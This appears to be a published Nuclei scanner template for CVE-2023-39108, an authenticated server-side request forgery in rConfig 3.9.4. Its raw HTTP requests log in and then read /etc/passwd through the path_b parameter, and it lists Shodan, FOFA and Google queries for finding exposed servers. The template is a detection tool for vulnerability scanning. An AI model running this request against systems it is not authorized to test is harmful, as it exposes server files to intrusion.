rConfig 3.9.4 - Server-Side Request Forgery

ID: CVE-2023-39108

Severity: high

Author: theamanrawat

Tags: cve2023,cve,rconfig,authenticated,ssrf,lfr

Description

rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path_b parameter in the doDiff Function of /classes/compareClass.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.

YAML Source

id: CVE-2023-39108

info:
  name: rConfig 3.9.4 - Server-Side Request Forgery
  author: theamanrawat
  severity: high
  description: |
    rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path_b parameter in the doDiff Function of /classes/compareClass.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.
  reference:
    - https://www.rconfig.com/downloads/rconfig-3.9.4.zip
    - https://github.com/zer0yu/CVE_Request/blob/master/rConfig/rConfig_path_b.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39108
    - https://github.com/zer0yu/CVE_Request
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-39108
    cwe-id: CWE-918
    epss-score: 0.05213
    epss-percentile: 0.92994
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query:
      - http.title:"rConfig"
      - http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve2023,cve,rconfig,authenticated,ssrf,lfr

http:
  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1
      - |
        GET /lib/crud/configcompare.crud.php?path_b=file:///etc/passwd HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "rConfig"

      - type: regex
        part: body_3
        regex:
          - "root:.*:0:0:"

      - type: status
        part: header_3
        status:
          - 200
# digest: 4b0a00483046022100e28bff376f9b014acc0691a8e9d61183b7c22144d7f5e6296e6470848261af86022100c527655fc3c64dc7f7987c4c7ce73d42b20ad974fd9a75354fb9809c8c551bf4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-39108.yaml"

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